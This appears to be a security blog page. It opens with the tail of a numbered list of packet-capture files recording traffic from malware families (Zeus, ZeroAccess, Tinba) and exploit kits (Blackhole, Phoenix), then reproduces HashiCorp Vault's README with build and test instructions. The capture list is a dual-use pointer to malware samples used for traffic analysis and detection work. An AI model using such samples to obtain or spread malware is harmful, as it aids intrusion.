48. BIN_Tbot_A0552D1BC1A4897141CFA56F75C04857_2012-12.pcap
49. BIN_Tbot_FC7C3E087789824F34A9309DA2388CE5_2012-12.pcap
50. BIN_Tinba_2012-06.pcap
51. BIN_Vobfus_634AA845F5B0B519B6D8A8670B994906_2012-12.pcap
52. BIN_Xpaj_2012-05.pcap
53. BIN_ZeroAccess_3169969E91F5FE5446909BBAB6E14D5D_2012-10.pcap
54. BIN_ZeusGameover_2012-02.pcap
55. BIN_Zeus_2010-12.pcap
56. EK_Blackholev1_2012-03.pcap
57. EK_Blackholev1_2012-08.pcap
58. EK_Blackholev2_2012-09.pcap
59. EK_Blackhole_Java_CVE-2012-4681_2012-08.pcap
60. EK_Phoenix_2012-04.pcap
61. EK_Smokekt150(Malwaredontneedcoffee)_2012-09.pcap -  credit malware.dontneedcoffee.com

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Vault - A Tool For Secrets Management, Encryption As A Service, And Privileged Access Management

Please note: We take Vault's security and our users' trust very seriously. If you believe you have found a security issue in Vault, please responsibly disclose by contacting us at security@hashicorp.com.

• Website: https://www.vaultproject.io
• IRC: #vault-tool on Freenode
• Announcement list: Google Groups
• Discussion list: Google Groups
• Documentation: https://www.vaultproject.io/docs/
• Tutorials: HashiCorp's Learn Platform
• Certification Exam: Vault Associate

Vault is a tool for securely accessing secrets. A secret is anything that you want to tightly control access to, such as API keys, passwords, certificates, and more. Vault provides a unified interface to any secret, while providing tight access control and recording a detailed audit log.
A modern system requires access to a multitude of secrets: database credentials, API keys for external services, credentials for service-oriented architecture communication, etc. Understanding who is accessing what secrets is already very difficult and platform-specific. Adding on key rolling, secure storage, and detailed audit logs is almost impossible without a custom solution. This is where Vault steps in.
The key features of Vault are:

• Secure Secret Storage: Arbitrary key/value secrets can be stored in Vault. Vault encrypts these secrets prior to writing them to persistent storage, so gaining access to the raw storage isn't enough to access your secrets. Vault can write to disk, Consul, and more.
  
• Dynamic Secrets: Vault can generate secrets on-demand for some systems, such as AWS or SQL databases. For example, when an application needs to access an S3 bucket, it asks Vault for credentials, and Vault will generate an AWS keypair with valid permissions on demand. After creating these dynamic secrets, Vault will also automatically revoke them after the lease is up.
  
• Data Encryption: Vault can encrypt and decrypt data without storing it. This allows security teams to define encryption parameters and developers to store encrypted data in a location such as SQL without having to design their own encryption methods.
  
• Leasing and Renewal: All secrets in Vault have a lease associated with it. At the end of the lease, Vault will automatically revoke that secret. Clients are able to renew leases via built-in renew APIs.
  
• Revocation: Vault has built-in support for secret revocation. Vault can revoke not only single secrets, but a tree of secrets, for example all secrets read by a specific user, or all secrets of a particular type. Revocation assists in key rolling as well as locking down systems in the case of an intrusion.
  

Documentation, Getting Started, and Certification Exams
Documentation is available on the Vault website.
If you're new to Vault and want to get started with security automation, please check out our Getting Started guides on HashiCorp's learning platform. There are also additional guides to continue your learning.
Show off your Vault knowledge by passing a certification exam. Visit the certification page for information about exams and find study materials on HashiCorp's learning platform.

Developing Vault
If you wish to work on Vault itself or any of its built-in systems, you'll first need Go installed on your machine. Go version 1.13.7+ is required.
For local dev first make sure Go is properly installed, including setting up a GOPATH. Ensure that $GOPATH/bin is in your path as some distributions bundle old version of build tools. Next, clone this repository. Vault uses Go Modules, so it is recommended that you clone the repository outside of the GOPATH. You can then download any required build tools by bootstrapping your environment:

$ make bootstrap
...

To compile a development version of Vault, run make or make dev. This will put the Vault binary in the bin and $GOPATH/bin folders:

$ make dev
...
$ bin/vault
...

To compile a development version of Vault with the UI, run make static-dist dev-ui. This will put the Vault binary in the bin and $GOPATH/bin folders:

$ make static-dist dev-ui
...
$ bin/vault
...

To run tests, type make test. Note: this requires Docker to be installed. If this exits with exit status 0, then everything is working!

$ make test
...

If you're developing a specific package, you can run tests for just that package by specifying the TEST variable. For example below, only vault package tests will be run.

$ make test TEST=./vault
...

Acceptance Tests
Vault has comprehensive acceptance tests covering most of the features of the secret and auth methods.
If you're working on a feature of a secret or auth method and want to verify it is functioning (and also hasn't broken anything else), we recommend running the acceptance tests.
Warning: The acceptance tests create/destroy/modify real resources, which may incur real costs in some cases. In the presence of a bug, it is technically possible that broken backends could leave dangling data behind. Therefore, please run the acceptance tests at your own risk. At the very least, we recommend running them in their own private account for whatever backend you're testing.
To run the acceptance tests, invoke make testacc:

$ make testacc TEST=./builtin/logical/consul
...

The TEST variable is required, and you should specify the folder where the backend is. The TESTARGS variable is recommended to filter down to a specific resource to test, since testing all of them at once can sometimes take a very long time.
Acceptance tests typically require other environment variables to be set for things such as access keys. The test itself should error early and tell you what to set, so it is not documented here.
For more information on Vault Enterprise features, visit the Vault Enterprise site.

Download Vault

via KitPloit

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

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